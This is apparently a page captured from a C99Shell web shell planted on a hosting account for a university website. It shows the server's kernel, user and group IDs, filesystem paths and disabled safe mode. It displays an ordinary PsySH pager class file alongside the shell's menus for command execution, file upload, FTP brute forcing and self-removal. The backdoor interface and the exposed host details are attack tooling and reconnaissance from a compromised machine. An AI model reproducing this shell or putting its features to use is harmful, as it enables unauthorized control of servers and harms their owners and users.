!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/psy/psysh/src/Psy/Output/   drwxr-xr-x
Free 117.42 GB of 200.55 GB (58.55%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ProcOutputPager.php (2.74 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of Psy Shell.
 *
 * (c) 2012-2015 Justin Hileman
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Psy\Output;

use 
Symfony\Component\Console\Output\StreamOutput;

/**
 * ProcOutputPager class.
 *
 * A ProcOutputPager instance wraps a regular StreamOutput's stream. Rather
 * than writing directly to the stream, it shells out to a pager process and
 * gives that process the stream as stdout. This means regular *nix commands
 * like `less` and `more` can be used to page large amounts of output.
 */
class ProcOutputPager extends StreamOutput implements OutputPager
{
    private 
$proc;
    private 
$pipe;
    private 
$stream;
    private 
$cmd;

    
/**
     * Constructor.
     *
     * @param StreamOutput $output
     * @param string       $cmd    Pager process command (default: 'less -R -S -F -X')
     */
    
public function __construct(StreamOutput $output$cmd 'less -R -S -F -X')
    {
        
$this->stream $output->getStream();
        
$this->cmd    $cmd;
    }

    
/**
     * Writes a message to the output.
     *
     * @param string $message A message to write to the output
     * @param bool   $newline Whether to add a newline or not
     *
     * @throws \RuntimeException When unable to write output (should never happen)
     */
    
public function doWrite($message$newline)
    {
        
$pipe $this->getPipe();
        if (
false === @fwrite($pipe$message . ($newline PHP_EOL ''))) {
            
// @codeCoverageIgnoreStart
            // should never happen
            
throw new \RuntimeException('Unable to write output.');
            
// @codeCoverageIgnoreEnd
        
}

        
fflush($pipe);
    }

    
/**
     * Close the current pager process.
     */
    
public function close()
    {
        if (isset(
$this->pipe)) {
            
fclose($this->pipe);
        }

        if (isset(
$this->proc)) {
            
$exit proc_close($this->proc);
            if (
$exit !== 0) {
                throw new \
RuntimeException('Error closing output stream');
            }
        }

        unset(
$this->pipe$this->proc);
    }

    
/**
     * Get a pipe for paging output.
     *
     * If no active pager process exists, fork one and return its input pipe.
     */
    
private function getPipe()
    {
        if (!isset(
$this->pipe) || !isset($this->proc)) {
            
$desc = array(array('pipe''r'), $this->streamfopen('php://stderr''w'));
            
$this->proc proc_open($this->cmd$desc$pipes);

            if (!
is_resource($this->proc)) {
                throw new \
RuntimeException('Error opening output stream');
            }

            
$this->pipe $pipes[0];
        }

        return 
$this->pipe;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0095 ]--